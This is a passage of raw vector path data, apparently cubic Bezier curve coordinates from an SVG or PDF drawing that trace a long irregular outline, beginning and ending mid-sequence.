75387.45 139006.44 75345.22 139017.00 75303.00C139017.00 75292.00 139017.00 75281.00 139017.00 75270.00C139028.13 75259.30 139039.06 75248.41 139050.31 75237.85C139071.54 75227.23 139092.77 75216.62 139114.00 75206.00C139124.67 75174.00 139135.33 75142.00 139146.00 75110.00C139146.00 75088.33 139146.00 75066.67 139146.00 75045.00C139135.33 75023.67 139124.67 75002.33 139114.00 74981.00C139124.67 74970.34 139135.33 74959.66 139146.00 74949.00C139135.33 74927.67 139124.67 74906.33 139114.00 74885.00C139114.00 74874.00 139114.00 74863.00 139114.00 74852.00C139103.33 74841.34 139092.67 74830.66 139082.00 74820.00C139092.67 74809.34 139103.33 74798.66 139114.00 74788.00C139092.67 74777.33 139071.33 74766.67 139050.00 74756.00C139071.33 74723.66 139092.67 74691.34 139114.00 74659.00C139103.33 74616.33 139092.67 74573.67 139082.00 74531.00C139092.67 74498.67 139103.33 74466.33 139114.00 74434.00C139114.00 74423.33 139114.00 74412.67 139114.00 74402.00C139124.67 74402.00 139135.33 74402.00 139146.00 74402.00C139146.00 74391.33 139146.00 74380.67 139146.00 74370.00C139135.33 74348.67 139124.67 74327.33 139114.00 74306.00C139092.41 74284.59 139071.07 74262.93 139050.00 74241.00C139060.67 74230.34 139071.33 74219.66 139082.00 74209.00C139071.33 74187.67 139060.67 74166.33 139050.00 74145.00C139050.00 74123.67 139050.00 74102.33 139050.00 74081.00C139071.33 74059.33 139092.67 74037.67 139114.00 74016.00C139103.33 73994.67 139092.67 73973.33 139082.00 73952.00C139103.33 73941.33 139124.67 73930.67 139146.00 73920.00C139146.23 73908.99 139145.54 73897.86 139146.36 73886.92C139156.91 73854.95 139167.45 73822.97 139178.00 73791.00C139199.67 73780.33 139221.33 73769.67 139243.00 73759.00C139243.00 73748.33 139243.00 73737.67 139243.00 73727.00C139264.33 73716.33 139285.67 73705.67 139307.00 73695.00C139296.33 73673.67 139285.67 73652.33 139275.00 73631.00C139285.67 73620.00 139296.33 73609.00 139307.00 73598.00C139296.33 73598.00 139285.67 73598.00 139275.00 73598.00C139285.67 73587.34 139296.33 73576.66 139307.00 73566.00C139296.33 73555.34 139285.67 73544.66 139275.00 73534.00C139275.00 73523.33 139275.00 73512.67 139275.00 73502.00C139264.33 73502.00 139253.67 73502.00 139243.00 73502.00C139253.67 73491.34 139264.33 73480.66 139275.00 73470.00C139264.33 73470.00 139253.67 73470.00 139243.00 73470.00C139243.00 73437.67 139243.00 73405.33 139243.00 73373.00C139210.67 73330.33 139178.33 73287.67 139146.00 73245.00C139135.33 73223.34 139124.67 73201.66 139114.00 73180.00C139081.79 73147.87 139049.88 73115.45 139017.00 73084.00C138995.67 73084.00 138974.33 73084.00 138953.00 73084.00C138931.67 73073.33 138910.33 73062.67 138889.00 73052.00C138878.33 73041.34 138867.67 73030.66 138857.00 73020.00C138846.33 73030.66 138835.67 73041.34 138825.00 73052.00C138814.00 73041.33 138803.00 73030.67 138792.00 73020.00C138803.00 72998.33 138814.00 72976.67 138825.00 72955.00C138814.00 72955.00 138803.00 72955.00 138792.00 72955.00C138792.00 72933.67 138792.00 72912.33 138792.00 72891.00C138781.33 72891.00 138770.67 72891.00 138760.00 72891.00C138760.00 72880.33 138760.00 72869.67 138760.00 72859.00C138749.33 72837.67 138738.67 72816.33 138728.00 72795.00C138728.00 72784.00 138728.00 72773.00 138728.00 72762.00C138749.33 72762.00 138770.67 72762.00 138792.00 72762.00C138792.00 72740.67 138792.00 72719.33 138792.00 72698.00C138781.33 72676.67 138770.67 72655.33 138760.00 72634.00C138760.00 72612.67 138760.00 72591.33 138760.00 72570.00C138770.67 72537.67 138781.33 72505.33 138792.00 72473.00C138781.33 72473.00 138770.67 72473.00 138760.00 72473.00C138760.00 72441.00 138760.00 72409.00 138760.00 72377.00C138749.33 72344.67 138738.67 72312.33 138728.00 72280.00C138738.67 72280.00 138749.33 72280.00 138760.00 72280.00C138770.67 72269.34 138781.33 72258.66 138792.00 72248.00C138759.87 72215.79 138727.45 72183.88 138696.00 72151.00C138685.33 72119.00 138674.67 72087.00 138664.00 72055.00C138653.33 72044.34 138642.67 72033.66 138632.00 72023.00C138632.00 71958.67 138632.00 71894.33 138632.00 71830.00C138642.67 71830.00 138653.33 71830.00 138664.00 71830.00C138664.00 71808.67 138664.00 71787.33 138664.00 71766.00C138653.33 71766.00 138642.67 71766.00 138632.00 71766.00C138632.00 71733.67 138632.00 71701.33 138632.00 71669.00C138610.59 71647.41 138588.93 71626.06 138567.00 71605.00C138578.00 71583.67 138589.00 71562.33 138600.00 71541.00C138589.00 71519.33 138578.00 71497.67 138567.00 71476.00C138567.00 71454.67 138567.00 71433.33 138567.00 71412.00C138535.00 71390.67 138503.00 71369.33 138471.00 71348.00C138460.33 71315.67 138449.67 71283.33 138439.00 71251.00C138417.33 71229.67 138395.67 71208.33 138374.00 71187.00C138373.77 71175.99 138374.46 71164.86 138373.64 71153.92C138363.03 71121.85 138352.54 71089.74 138341.85 71057.69C138331.24 71036.46 138320.62 71015.23 138310.00 70994.00C138331.33 70972.66 138352.67 70951.34 138374.00 70930.00C138374.00 70876.33 138374.00 70822.67 138374.00 70769.00C138395.67 70758.33 138417.33 70747.67 138439.00 70737.00C138428.33 70726.34 138417.67 70715.66 138407.00 70705.00C138417.69 70693.87 138428.59 70682.94 138439.15 70671.69C138449.76 70650.46 138460.38 70629.23 138471.00 70608.00C138481.67 70597.34 138492.33 70586.66 138503.00 70576.00C138513.67 70576.00 138524.33 70576.00 138535.00 70576.00C138545.67 70565.34 138556.33 70554.66 138567.00 70544.00C138567.00 70533.33 138567.00 70522.67 138567.00 70512.00C138545.67 70501.00 138524.33 70490.00 138503.00 70479.00C138492.33 70468.34 138481.67 70457.66 138471.00 70447.00C138481.67 70425.67 138492.33 70404.33 138503.00 70383.00C138524.33 70372.33 138545.67 70361.67 138567.00 70351.00C138578.00 70329.67 138589.00 70308.33 138600.00 70287.00C138600.00 70276.00 138600.00 70265.00 138600.00 70254.00C138610.67 70254.00 138621.33 70254.00 138632.00 70254.00C138664.00 70222.00 138696.00 70190.00 138728.00 70158.00C138749.33 70168.67 138770.67 70179.33 138792.00 70190.00C138803.00 70147.33 138814.00 70104.67 138825.00 70062.00C138846.33 70051.00 138867.67 70040.00 138889.00 70029.00C138910.33 70029.00 138931.67 70029.00 138953.00 70029.00C138942.33 70007.67 138931.67 69986.33 138921.00 69965.00C138942.33 69954.33 138963.67 69943.67 138985.00 69933.00C139006.67 69933.00 139028.33 69933.00 139050.00 69933.00C139082.00 69858.00 139114.00 69783.00 139146.00 69708.00C139156.67 69697.34 139167.33 69686.66 139178.00 69676.00C139167.33 69665.00 139156.67 69654.00 139146.00 69643.00C139156.73 69610.90 139167.35 69578.77 139178.15 69546.69C139188.76 69525.46 139199.38 69504.23 139210.00 69483.00C139221.00 69483.00 139232.00 69483.00 139243.00 69483.00C139243.00 69472.33 139243.00 69461.67 139243.00 69451.00C139275.00 69461.67 139307.00 69472.33 139339.00 69483.00C139360.33 69461.33 139381.67 69439.67 139403.00 69418.00C139360.33 69396.67 139317.67 69375.33 139275.00 69354.00C139275.00 69343.33 139275.00 69332.67 139275.00 69322.00C139317.88 69289.70 139361.03 69257.74 139403.74 69225.24C139414.16 69214.50 139424.58 69203.75 139435.00 69193.00C139435.00 69171.67 139435.00 69150.33 139435.00 69129.00C139446.00 69118.33 139457.00 69107.67 139468.00 69097.00C139457.00 69075.67 139446.00 69054.33 139435.00 69033.00C139446.17 69021.61 139457.82 69010.62 139468.69 68998.97C139489.80 68967.31 139510.90 68935.66 139532.00 68904.00C139521.33 68893.34 139510.67 68882.66 139500.00 68872.00C139510.67 68839.67 139521.33 68807.33 139532.00 68775.00C139521.33 68732.33 139510.67 68689.67 139500.00 68647.00C139510.69 68636.21 139521.59 68625.62 139532.15 68614.69C139542.76 68593.13 139553.38 68571.56 139564.00 68550.00C139564.00 68518.00 139564.00 68486.00 139564.00 68454.00C139585.33 68443.33 139606.67 68432.67 139628.00 68422.00C139617.33 68411.34 139606.67 68400.66 139596.00 68390.00C139617.67 68379.00 139639.33 68368.00 139661.00 68357.00C139671.67 68357.00 139682.33 68357.00 139693.00 68357.00C139703.67 68346.34 139714.33 68335.66 139725.00 68325.00C139714.33 68303.67 139703.67 68282.33 139693.00 68261.00C139714.33 68250.33 139735.67 68239.67 139757.00 68229.00C139757.00 68186.00 139757.00 68143.00 139757.00 68100.00C139778.33 68078.66 139799.67 68057.34 139821.00 68036.00C139821.00 68003.67 139821.00 67971.33 139821.00 67939.00C139842.67 67917.67 139864.33 67896.33 139886.00 67875.00C139886.00 67810.67 139886.00 67746.33 139886.00 67682.00C139971.67 67607.00 140057.33 67532.00 140143.00 67457.00C140132.33 67435.67 140121.67 67414.33 140111.00 67393.00C140121.69 67382.21 140132.59 67371.62 140143.15 67360.69C140153.76 67339.13 140164.38 67317.56 140175.00 67296.00C140196.33 67296.00 140217.67 67296.00 140239.00 67296.00C140249.67 67274.67 140260.33 67253.33 140271.00 67232.00C140260.33 67200.00 140249.67 67168.00 140239.00 67136.00C140256.44 67100.49 140273.80 67064.93 140292.19 67029.90C140296.13 67022.27 140300.06 67014.63 140304.00 67007.00C140293.00 66985.67 140282.00 66964.33 140271.00 66943.00C140292.67 66900.00 140314.33 66857.00 140336.00 66814.00C140336.00 66782.00 140336.00 66750.00 140336.00 66718.00C140346.67 66707.00 140357.33 66696.00 140368.00 66685.00C140346.67 66653.00 140325.33 66621.00 140304.00 66589.00C140325.33 66567.66 140346.67 66546.34 140368.00 66525.00C140389.33 66525.00 140410.67 66525.00 140432.00 66525.00C140432.00 66514.33 140432.00 66503.67 140432.00 66493.00C140400.00 66471.33 140368.00 66449.67 140336.00 66428.00C140357.43 66395.93 140378.71 66363.76 140400.24 66331.76C140410.83 66321.18 140421.41 66310.58 140432.00 66300.00C140432.00 66289.00 140432.00 66278.00 140432.00 66267.00C140421.33 66256.34 140410.67 66245.66 140400.00 66235.00C140421.33 66213.66 140442.67 66192.34 140464.00 66171.00C140464.00 66139.00 140464.00 66107.00 140464.00 66075.00C140475.00 66075.00 140486.00 66075.00 140497.00 66075.00C140518.33 66064.00 140539.67 66053.00 140561.00 66042.00C140561.00 66031.33 140561.00 66020.67 140561.00 66010.00C140528.67 65988.66 140496.33 65967.34 140464.00 65946.00C140496.33 65935.33 140528.67 65924.67 140561.00 65914.00C140561.00 65903.33 140561.00 65892.67 140561.00 65882.00C140539.67 65871.00 140518.33 65860.00 140497.00 65849.00C140486.00 65827.67 140475.00 65806.33 140464.00 65785.00C140475.00 65785.00 140486.00 65785.00 140497.00 65785.00C140507.67 65774.34 140518.33 65763.66 140529.00 65753.00C140529.00 65731.67 140529.00 65710.33 140529.00 65689.00C140550.33 65678.33 140571.67 65667.67 140593.00 65657.00C140603.67 65635.34 140614.33 65613.66 140625.00 65592.00C140614.33 65560.00 140603.67 65528.00 140593.00 65496.00C140614.33 65485.33 140635.67 65474.67 140657.00 65464.00C140657.00 65442.33 140657.00 65420.67 140657.00 65399.00C140667.67 65409.67 140678.33 65420.33 140689.00 65431.00C140700.00 65420.33 140711.00 65409.67 140722.00 65399.00C140711.00 65388.33 140700.00 65377.67 140689.00 65367.00C140700.00 65345.67 140711.00 65324.33 140722.00 65303.00C140711.00 65281.67 140700.00 65260.33 140689.00 65239.00C140700.00 65228.00 140711.00 65217.00 140722.00 65206.00C140722.00 65217.00 140722.00 65228.00 140722.00 65239.00C140732.67 65239.00 140743.33 65239.00 140754.00 65239.00C140754.00 65228.00 140754.00 65217.00 140754.00 65206.00C140743.33 65184.67 140732.67 65163.33 140722.00 65142.00C140732.67 65120.67 140743.33 65099.33 140754.00 65078.00C140775.33 65067.33 140796.67 65056.67 140818.00 65046.00C140818.00 65013.67 140818.00 64981.33 140818.00 64949.00C140828.67 64949.00 140839.33 64949.00 140850.00 64949.00C140871.67 64938.33 140893.33 64927.67 140915.00 64917.00C140893.33 64906.33 140871.67 64895.67 140850.00 64885.00C140850.00 64874.33 140850.00 64863.67 140850.00 64853.00C140860.67 64853.00 140871.33 64853.00 140882.00 64853.00C140903.67 64863.67 140925.33 64874.33 140947.00 64885.00C140957.67 64885.00 140968.33 64885.00 140979.00 64885.00C140968.33 64863.67 140957.67 64842.33 140947.00 64821.00C140957.67 64810.00 140968.33 64799.00 140979.00 64788.00C141000.33 64788.00 141021.67 64788.00 141043.00 64788.00C141053.67 64777.33 141064.33 64766.67 141075.00 64756.00C141075.00 64745.33 141075.00 64734.67 141075.00 64724.00C141085.67 64724.00 141096.33 64724.00 141107.00 64724.00C141118.00 64713.33 141129.00 64702.67 141140.00 64692.00C141140.00 64670.67 141140.00 64649.33 141140.00 64628.00C141150.67 64606.33 141161.33 64584.67 141172.00 64563.00C141182.67 64563.00 141193.33 64563.00 141204.00 64563.00C141225.33 64573.67 141246.67 64584.33 141268.00 64595.00C141311.00 64552.33 141354.00 64509.67 141397.00 64467.00C141407.67 64445.67 141418.33 64424.33 141429.00 64403.00C141450.33 64392.00 141471.67 64381.00 141493.00 64370.00C141536.00 64370.00 141579.00 64370.00 141622.00 64370.00C141643.33 64359.33 141664.67 64348.67 141686.00 64338.00C141718.33 64348.67 141750.67 64359.33 141783.00 64370.00C141815.00 64338.00 141847.00 64306.00 141879.00 64274.00C141889.67 64274.00 141900.33 64274.00 141911.00 64274.00C141932.67 64284.67 141954.33 64295.33 141976.00 64306.00C141976.00 64316.67 141976.00 64327.33 141976.00 64338.00C141986.67 64338.00 141997.33 64338.00 142008.00 64338.00C142029.33 64316.67 142050.67 64295.33 142072.00 64274.00C142104.00 64263.33 142136.00 64252.67 142168.00 64242.00C142179.00 64209.67 142190.00 64177.33 142201.00 64145.00C142233.00 64123.67 142265.00 64102.33 142297.00 64081.00C142307.67 64091.67 142318.33 64102.33 142329.00 64113.00C142350.67 64113.00 142372.33 64113.00 142394.00 64113.00C142404.67 64102.33 142415.33 64091.67 142426.00 64081.00C142490.33 64059.67 142554.67 64038.33 142619.00 64017.00C142651.00 64027.67 142683.00 64038.33 142715.00 64049.00C142725.67 64049.00 142736.33 64049.00 142747.00 64049.00C142768.67 64059.67 142790.33 64070.33 142812.00 64081.00C142854.67 64049.00 142897.33 64017.00 142940.00 63985.00C142961.33 63985.00 142982.67 63985.00 143004.00 63985.00C143025.67 63963.33 143047.33 63941.67 143069.00 63920.00C143101.00 63920.00 143133.00 63920.00 143165.00 63920.00C143187.16 63909.24 143209.10 63898.00 143231.39 63887.54C143262.93 63877.02 143294.47 63866.51 143326.00 63856.00C143336.67 63866.67 143347.33 63877.33 143358.00 63888.00C143368.69 63877.21 143379.59 63866.61 143390.15 63855.69C143422.09 63791.29 143455.06 63727.40 143487.00 63663.00C143497.67 63652.33 143508.33 63641.67 143519.00 63631.00C143540.33 63641.67 143561.67 63652.33 143583.00 63663.00C143604.67 63652.33 143626.33 63641.67 143648.00 63631.00C143658.67 63609.67 143669.33 63588.33 143680.00 63567.00C143690.67 63556.00 143701.33 63545.00 143712.00 63534.00C143712.00 63523.33 143712.00 63512.67 143712.00 63502.00C143722.80 63491.31 143733.39 63480.41 143744.31 63469.85C143787.21 63448.57 143830.10 63427.28 143873.00 63406.00C143883.67 63384.67 143894.33 63363.33 143905.00 63342.00C143947.67 63352.67 143990.33 63363.33 144033.00 63374.00C144043.67 63384.67 144054.33 63395.33 144065.00 63406.00C144129.33 63384.67 144193.67 63363.33 144258.00 63342.00C144279.67 63384.67 144301.33 63427.33 144323.00 63470.00C144344.33 63480.67 144365.67 63491.33 144387.00 63502.00C144430.00 63502.00 144473.00 63502.00 144516.00 63502.00C144526.67 63448.67 144537.33 63395.33 144548.00 63342.00C144558.67 63331.00 144569.33 63320.00 144580.00 63309.00C144590.67 63266.33 144601.33 63223.67 144612.00 63181.00C144622.67 63181.00 144633.33 63181.00 144644.00 63181.00C144665.67 63170.33 144687.33 63159.67 144709.00 63149.00C144719.67 63138.00 144730.33 63127.00 144741.00 63116.00C144773.00 63105.33 144805.00 63094.67 144837.00 63084.00C144869.33 63030.33 144901.67 62976.67 144934.00 62923.00C144934.00 62912.33 144934.00 62901.67 144934.00 62891.00C144966.07 62869.57 144998.24 62848.29 145030.24 62826.76C145040.83 62816.18 145051.41 62805.58 145062.00 62795.00C145072.67 62762.67 145083.33 62730.33 145094.00 62698.00C145147.67 62687.33 145201.33 62676.67 145255.00 62666.00C145265.67 62666.00 145276.33 62666.00 145287.00 62666.00C145298.00 62623.33 145309.00 62580.67 145320.00 62538.00C145341.33 62516.33 145362.67 62494.67 145384.00 62473.00C145405.33 62473.00 145426.67 62473.00 145448.00 62473.00C145448.00 62462.33 145448.00 62451.67 145448.00 62441.00C145491.00 62419.67 145534.00 62398.33 145577.00 62377.00C145619.67 62366.33 145662.33 62355.67 145705.00 62345.00C145758.67 62291.33 145812.33 62237.67 145866.00 62184.00C145898.33 62173.33 145930.67 62162.67 145963.00 62152.00C145984.33 62152.00 146005.67 62152.00 146027.00 62152.00C146080.67 62130.33 146134.33 62108.67 146188.00 62087.00C146220.00 62108.67 146252.00 62130.33 146284.00 62152.00C146294.67 62152.00 146305.33 62152.00 146316.00 62152.00C146348.33 62098.33 146380.67 62044.67 146413.00 61991.00C146434.33 61969.67 146455.67 61948.33 146477.00 61927.00C146476.77 61915.99 146477.46 61904.86 146476.64 61893.92C146466.09 61861.95 146455.55 61829.97 146445.00 61798.00C146466.33 61755.33 146487.67 61712.67 146509.00 61670.00C146509.00 61637.67 146509.00 61605.33 146509.00 61573.00C146552.00 61573.00 146595.00 61573.00 146638.00 61573.00C146691.67 61508.67 146745.33 61444.33 146799.00 61380.00C146799.00 61337.00 146799.00 61294.00 146799.00 61251.00C146820.33 61240.33 146841.67 61229.67 146863.00 61219.00C146884.33 61219.00 146905.67 61219.00 146927.00 61219.00C146927.00 61165.67 146927.00 61112.33 146927.00 61059.00C146948.67 61026.67 146970.33 60994.33 146992.00 60962.00C147034.67 60940.67 147077.33 60919.33 147120.00 60898.00C147130.67 60865.67 147141.33 60833.33 147152.00 60801.00C147162.67 60790.33 147173.33 60779.67 147184.00 60769.00C147195.00 60769.00 147206.00 60769.00 147217.00 60769.00C147217.00 60801.33 147217.00 60833.67 147217.00 60866.00C147238.33 60866.00 147259.67 60866.00 147281.00 60866.00C147291.67 60844.33 147302.33 60822.67 147313.00 60801.00C147281.00 60758.33 147249.00 60715.67 147217.00 60673.00C147217.00 60651.33 147217.00 60629.67 147217.00 60608.00C147259.67 60608.00 147302.33 60608.00 147345.00 60608.00C147366.33 60640.33 147387.67 60672.67 147409.00 60705.00C147420.00 60705.00 147431.00 60705.00 147442.00 60705.00C147452.67 60683.67 147463.33 60662.33 147474.00 60641.00C147474.00 60598.00 147474.00 60555.00 147474.00 60512.00C147484.67 60490.67 147495.33 60469.33 147506.00 60448.00C147527.33 60448.00 147548.67 60448.00 147570.00 60448.00C147580.67 60437.00 147591.33 60426.00 147602.00 60415.00C147677.00 60404.33 147752.00 60393.67 147827.00 60383.00C147848.67 60361.67 147870.33 60340.33 147892.00 60319.00C147913.33 60319.00 147934.67 60319.00 147956.00 60319.00C147977.33 60329.67 147998.67 60340.33 148020.00 60351.00C148020.00 60372.33 148020.00 60393.67 148020.00 60415.00C148041.67 60426.00 148063.33 60437.00 148085.00 60448.00C148095.67 60448.00 148106.33 60448.00 148117.00 60448.00C148127.67 60426.33 148138.33 60404.67 148149.00 60383.00C148159.67 60372.33 148170.33 60361.67 148181.00 60351.00C148234.67 60361.67 148288.33 60372.33 148342.00 60383.00C148385.00 60351.00 148428.00 60319.00 148471.00 60287.00C148524.33 60276.33 148577.67 60265.67 148631.00 60255.00C148641.67 60233.33 148652.33 60211.67 148663.00 60190.00C148684.91 60168.92 148706.61 60147.61 148728.00 60126.00C148760.00 60147.33 148792.00 60168.67 148824.00 60190.00C148845.67 60168.67 148867.33 60147.33 148889.00 60126.00C148942.33 60126.00 148995.67 60126.00 149049.00 60126.00C149070.67 60115.33 149092.33 60104.67 149114.00 60094.00C149124.67 60094.00 149135.33 60094.00 149146.00 60094.00C149146.00 60104.67 149146.00 60115.33 149146.00 60126.00C149156.67 60136.67 149167.33 60147.33 149178.00 60158.00C149221.00 60147.33 149264.00 60136.67 149307.00 60126.00C149328.71 60136.74 149350.26 60147.86 149372.08 60158.36C149403.72 60168.90 149435.36 60179.45 149467.00 60190.00C149499.33 60222.33 149531.67 60254.67 149564.00 60287.00C149596.00 60297.67 149628.00 60308.33 149660.00 60319.00C149681.67 60340.33 149703.33 60361.67 149725.00 60383.00C149746.33 60383.00 149767.67 60383.00 149789.00 60383.00C149789.00 60372.33 149789.00 60361.67 149789.00 60351.00C149810.33 60351.00 149831.67 60351.00 149853.00 60351.00C149863.67 60361.67 149874.33 60372.33 149885.00 60383.00C149885.23 60394.01 149884.54 60405.14 149885.36 60416.08C149895.91 60448.05 149906.45 60480.03 149917.00 60512.00C149928.00 60522.67 149939.00 60533.33 149950.00 60544.00C150003.33 60565.33 150056.67 60586.67 150110.00 60608.00C150121.02 60619.13 150132.26 60630.05 150143.15 60641.31C150164.43 60683.87 150185.72 60726.43 150207.00 60769.00C150249.67 60790.67 150292.33 60812.33 150335.00 60834.00C150335.00 60823.00 150335.00 60812.00 150335.00 60801.00C150356.67 60790.33 150378.33 60779.67 150400.00 60769.00C150432.00 60779.67 150464.00 60790.33 150496.00 60801.00C150517.33 60801.00 150538.67 60801.00 150560.00 60801.00C150581.67 60790.33 150603.33 60779.67 150625.00 60769.00C150635.67 60769.00 150646.33 60769.00 150657.00 60769.00C150657.00 60737.00 150657.00 60705.00 150657.00 60673.00C150700.00 60683.67 150743.00 60694.33 150786.00 60705.00C150807.33 60662.00 150828.67 60619.00 150850.00 60576.00C150914.33 60586.67 150978.67 60597.33 151043.00 60608.00C151085.67 60597.33 151128.33 60586.67 151171.00 60576.00C151203.33 60554.67 151235.67 60533.33 151268.00 60512.00C151278.67 60490.67 151289.33 60469.33 151300.00 60448.00C151311.39 60447.78 151322.83 60448.46 151334.18 60447.63C151397.79 60436.75 151461.39 60425.88 151525.00 60415.00C151578.67 60426.00 151632.33 60437.00 151686.00 60448.00C151718.00 60469.33 151750.00 60490.67 151782.00 60512.00C151814.33 60512.00 151846.67 60512.00 151879.00 60512.00C151921.67 60490.67 151964.33 60469.33 152007.00 60448.00C152039.33 60415.67 152071.67 60383.33 152104.00 60351.00C152136.00 60351.00 152168.00 60351.00 152200.00 60351.00C152221.67 60372.33 152243.33 60393.67 152265.00 60415.00C152286.44 60414.94 152307.89 60415.11 152329.33 60414.92C152372.22 60404.28 152415.11 60393.64 152458.00 60383.00C152468.67 60383.00 152479.33 60383.00 152490.00 60383.00C152511.33 60361.67 152532.67 60340.33 152554.00 60319.00C152564.67 60276.00 152575.33 60233.00 152586.00 60190.00C152639.67 60168.67 152693.33 60147.33 152747.00 60126.00C152790.00 60072.33 152833.00 60018.67 152876.00 59965.00C152886.67 59933.00 152897.33 59901.00 152908.00 59869.00C152908.12 59847.31 152907.77 59825.58 152908.18 59803.91C152918.78 59739.94 152929.39 59675.97 152940.00 59612.00C152972.00 59569.00 153004.00 59526.00 153036.00 59483.00C153036.00 59429.33 153036.00 59375.67 153036.00 59322.00C153057.67 59279.33 153079.33 59236.67 153101.00 59194.00C153079.33 59183.33 153057.67 59172.67 153036.00 59162.00C153036.00 59151.00 153036.00 59140.00 153036.00 59129.00C153046.80 59118.31 153057.38 59107.41 153068.31 59096.85C153089.87 59086.23 153111.44 59075.62 153133.00 59065.00C153122.33 59033.00 153111.67 59001.00 153101.00 58969.00C153111.67 58936.67 153122.33 58904.33 153133.00 58872.00C153111.33 58840.00 153089.67 58808.00 153068.00 58776.00C153068.00 58765.33 153068.00 58754.67 153068.00 58744.00C153100.33 58690.33 153132.67 58636.67 153165.00 58583.00C153165.00 58550.67 153165.00 58518.33 153165.00 58486.00C153207.67 58443.33 153250.33 58400.67 153293.00 58358.00C153293.00 58347.33 153293.00 58336.67 153293.00 58326.00C153282.33 58315.00 153271.67 58304.00 153261.00 58293.00C153239.67 58304.00 153218.33 58315.00 153197.00 58326.00C153186.33 58315.00 153175.67 58304.00 153165.00 58293.00C153175.76 58260.43 153186.87 58227.96 153197.42 58195.33C153207.94 58152.89 153218.47 58110.44 153229.00 58068.00C153218.33 58046.67 153207.67 58025.33 153197.00 58004.00C153197.00 57982.67 153197.00 57961.33 153197.00 57940.00C153186.31 57929.21 153175.41 57918.62 153164.85 57907.69C153154.24 57886.13 153143.62 57864.56 153133.00 57843.00C153133.00 57832.33 153133.00 57821.67 153133.00 57811.00C153121.99 57810.77 153110.86 57811.46 153099.92 57810.64C153035.89 57789.58 152971.92 57768.37 152908.00 57747.00C152875.67 57704.00 152843.33 57661.00 152811.00 57618.00C152779.00 57618.00 152747.00 57618.00 152715.00 57618.00C152682.61 57586.06 152650.06 57554.28 152618.00 57522.00C152607.33 57457.67 152596.67 57393.33 152586.00 57329.00C152586.00 57318.33 152586.00 57307.67 152586.00 57297.00C152545.83 57277.03 152505.75 57256.88 152465.99 57236.12C152460.33 57231.86 152453.72 57231.52 152446.91 57232.00C152407.61 57232.00 152368.30 57232.00 152329.00 57232.00C152307.67 57210.67 152286.33 57189.33 152265.00 57168.00C152254.00 57125.00 152243.00 57082.00 152232.00 57039.00C152200.00 57007.00 152168.00 56975.00 152136.00 56943.00C152136.00 56932.33 152136.00 56921.67 152136.00 56911.00C152146.80 56900.31 152157.39 56889.41 152168.31 56878.85C152189.54 56868.23 152210.77 56857.61 152232.00 56847.00C152232.00 56836.00 152232.00 56825.00 152232.00 56814.00C152243.00 56803.33 152254.00 56792.67 152265.00 56782.00C152265.00 56739.33 152265.00 56696.67 152265.00 56654.00C152211.33 56600.33 152157.67 56546.67 152104.00 56493.00C152103.94 56471.56 152104.11 56450.11 152103.92 56428.67C152093.28 56385.78 152082.64 56342.89 152072.00 56300.00C152061.33 56289.33 152050.67 56278.67 152040.00 56268.00C152040.00 56246.33 152040.00 56224.67 152040.00 56203.00C152072.00 56149.67 152104.00 56096.33 152136.00 56043.00C152104.00 55978.67 152072.00 55914.33 152040.00 55850.00C152050.67 55817.67 152061.33 55785.33 152072.00 55753.00C152061.34 55731.54 152050.46 55710.19 152039.93 55688.66C152028.94 55635.11 152017.98 55581.55 152007.00 55528.00C152018.00 55506.67 152029.00 55485.33 152040.00 55464.00C152040.00 55453.33 152040.00 55442.67 152040.00 55432.00C152072.00 55432.00 152104.00 55432.00 152136.00 55432.00C152135.94 55410.22 152136.13 55388.45 152135.91 55366.67C152114.60 55291.78 152093.30 55216.89 152072.00 55142.00C152082.67 55088.67 152093.33 55035.33 152104.00 54982.00C152104.00 54971.33 152104.00 54960.67 152104.00 54950.00C152082.92 54928.08 152061.60 54906.40 152040.00 54885.00C152040.00 54863.67 152040.00 54842.33 152040.00 54821.00C152050.69 54810.21 152061.59 54799.62 152072.15 54788.69C152082.76 54767.13 152093.38 54745.56 152104.00 54724.00C152157.67 54713.33 152211.33 54702.67 152265.00 54692.00C152286.33 54692.00 152307.67 54692.00 152329.00 54692.00C152339.74 54670.29 152350.87 54648.74 152361.36 54626.92C152371.91 54594.95 152382.45 54562.97 152393.00 54531.00C152425.33 54509.67 152457.67 54488.33 152490.00 54467.00C152500.67 54402.67 152511.33 54338.33 152522.00 54274.00C152554.00 54242.00 152586.00 54210.00 152618.00 54178.00C152618.21 54166.90 152617.57 54155.71 152618.33 54144.66C152628.89 54102.11 152639.44 54059.55 152650.00 54017.00C152661.00 54006.33 152672.00 53995.67 152683.00 53985.00C152725.67 53974.33 152768.33 53963.67 152811.00 53953.00C152832.67 53931.33 152854.33 53909.67 152876.00 53888.00C152886.67 53845.33 152897.33 53802.67 152908.00 53760.00C152918.67 53749.33 152929.33 53738.67 152940.00 53728.00C152982.67 53717.00 153025.33 53706.00 153068.00 53695.00C153089.67 53684.33 153111.33 53673.67 153133.00 53663.00C153133.00 53641.67 153133.00 53620.33 153133.00 53599.00C153197.28 53566.90 153261.45 53534.55 153326.00 53503.00C153336.66 53481.21 153347.54 53459.52 153358.07 53437.66C153368.72 53384.44 153379.36 53331.22 153390.00 53278.00C153390.00 53245.67 153390.00 53213.33 153390.00 53181.00C153368.67 53127.33 153347.33 53073.67 153326.00 53020.00C153326.00 52998.67 153326.00 52977.33 153326.00 52956.00C153368.67 52902.33 153411.33 52848.67 153454.00 52795.00C153453.96 52762.89 153454.09 52730.78 153453.93 52698.66C153443.12 52644.76 153432.68 52590.77 153421.64 52536.92C153411.09 52504.90 153400.10 52473.00 153389.82 52440.91C153379.22 52376.94 153368.61 52312.97 153358.00 52249.00C153336.33 52216.67 153314.67 52184.33 153293.00 52152.00C153282.33 52152.00 153271.67 52152.00 153261.00 52152.00C153261.00 52087.67 153261.00 52023.33 153261.00 51959.00C153229.00 51884.00 153197.00 51809.00 153165.00 51734.00C153165.04 51712.55 153164.91 51691.11 153165.07 51669.66C153175.72 51616.11 153186.36 51562.56 153197.00 51509.00C153175.67 51487.67 153154.33 51466.33 153133.00 51445.00C153133.00 51434.33 153133.00 51423.67 153133.00 51413.00C153090.00 51370.00 153047.00 51327.00 153004.00 51284.00C153004.00 51230.33 153004.00 51176.67 153004.00 51123.00C152993.33 51091.00 152982.67 51059.00 152972.00 51027.00C152918.33 50973.33 152864.67 50919.67 152811.00 50866.00C152800.33 50866.00 152789.67 50866.00 152779.00 50866.00C152768.33 50834.00 152757.67 50802.00 152747.00 50770.00C152747.00 50737.67 152747.00 50705.33 152747.00 50673.00C152779.00 50641.00 152811.00 50609.00 152843.00 50577.00C152854.00 50555.33 152865.00 50533.67 152876.00 50512.00C152876.00 50490.67 152876.00 50469.33 152876.00 50448.00C152843.60 